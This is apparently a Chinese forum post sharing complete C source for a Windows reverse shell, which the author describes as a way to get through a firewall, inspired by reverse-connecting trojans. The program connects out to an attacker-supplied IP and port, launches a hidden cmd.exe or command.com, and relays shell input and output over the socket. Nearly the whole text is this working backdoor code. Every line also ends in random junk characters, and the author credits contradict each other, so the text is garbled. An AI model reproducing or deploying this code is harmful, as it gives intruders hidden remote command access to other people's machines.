这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -RS7h
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/* ============================== @+9<O0
Rebound port in Windows NT 0
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By wind,2006/7 <Q?a=4
===============================*/ /ODXV`3QYI
#include U Z|HJ8_
#include wjh=Q
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#pragma comment(lib,"wsock32.lib") td4[[ /
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void OutputShell(); Qb)C[5a}
SOCKET sClient; 6ezS {Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; INkD=tX
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void main(int argc,char **argv) lW(px^&IN
{ [5uRS}!
WSADATA stWsaData; Q%wY
int nRet; "Kc>dJ@W
SOCKADDR_IN stSaiClient,stSaiServer; H"C[&r
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if(argc != 3) 8}fu,$$5
{ [Z~ 2
printf("Useage:\n\rRebound DestIP DestPort\n"); *P 3V
return; /F4pb]U!*
} zGc:
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WSAStartup(MAKEWORD(2,2),&stWsaData); +,yK;^b
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hgLj<
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stSaiClient.sin_family = AF_INET; 0 H0-U'l
stSaiClient.sin_port = htons(0); Gg~QAsks
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >[Ye
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N.4q.
{ 549jWG
printf("Bind Socket Failed!\n"); #fJ] o_
return; rQEyD
} /;tPNp{!dw
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stSaiServer.sin_family = AF_INET; K{ \;2M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `E!N9qI?t$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <)\y#N
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p/2jh&
{ 9_QP !,
printf("Connect Error!"); A8q;q 2
return; 2MATpV#BT
} 0vVV%,v
OutputShell(); bJYda)
} P ~#>H{
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void OutputShell() xGU(n_Y
{ Qc[3Fq,f
char szBuff[1024]; S a4W`
SECURITY_ATTRIBUTES stSecurityAttributes; kN%MP6? J
OSVERSIONINFO stOsversionInfo; &AlJ "N|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?7M.o
STARTUPINFO stStartupInfo; q~@]W=
char *szShell; eeHP&1= 7
PROCESS_INFORMATION stProcessInformation; 6<'rG''
unsigned long lBytesRead; M[ z)6.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +3a?`Z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F q!fWl
stSecurityAttributes.lpSecurityDescriptor = 0; y!5$/`AF
stSecurityAttributes.bInheritHandle = TRUE; }lK3-2Pk
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Yp0/Ab(v
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %0 #XPc("
r?CI)Y;
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0QvT
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,=aJVb=C
stStartupInfo.wShowWindow = SW_HIDE; ifo7%XPcg
stStartupInfo.hStdInput = hReadPipe; 5OO'v07b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4QIE8f
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GetVersionEx(&stOsversionInfo); wHIj<"2
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switch(stOsversionInfo.dwPlatformId) pGSai&
{ [w\9as/ E
case 1: mKT>,M
szShell = "command.com"; p-%|P]&
break; }gkM^*$:%
default: 6G}+gqbX
szShell = "cmd.exe"; (_4;') 9
break; H"Klj_<dH0
} tX!nsm1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >|6iR%"f#
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send(sClient,szMsg,77,0); G60R9y47c
while(1) @Kf_z5tm:
{ hLDA]s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XyMG.r-,
if(lBytesRead) x!_<z''
{ 4lqH8l.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6l$L~>
send(sClient,szBuff,lBytesRead,0); lCF`*DM#
} `xiCm':
else \m=?xb8
f
{ Z_gC&7+
lBytesRead=recv(sClient,szBuff,1024,0); `MEYd U1
if(lBytesRead<=0) break; 8?*RIA.a
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R.LL#u};
} m%"uPv\
} pq:7F
<xJ/y|{
return; #q3l!3\mW
}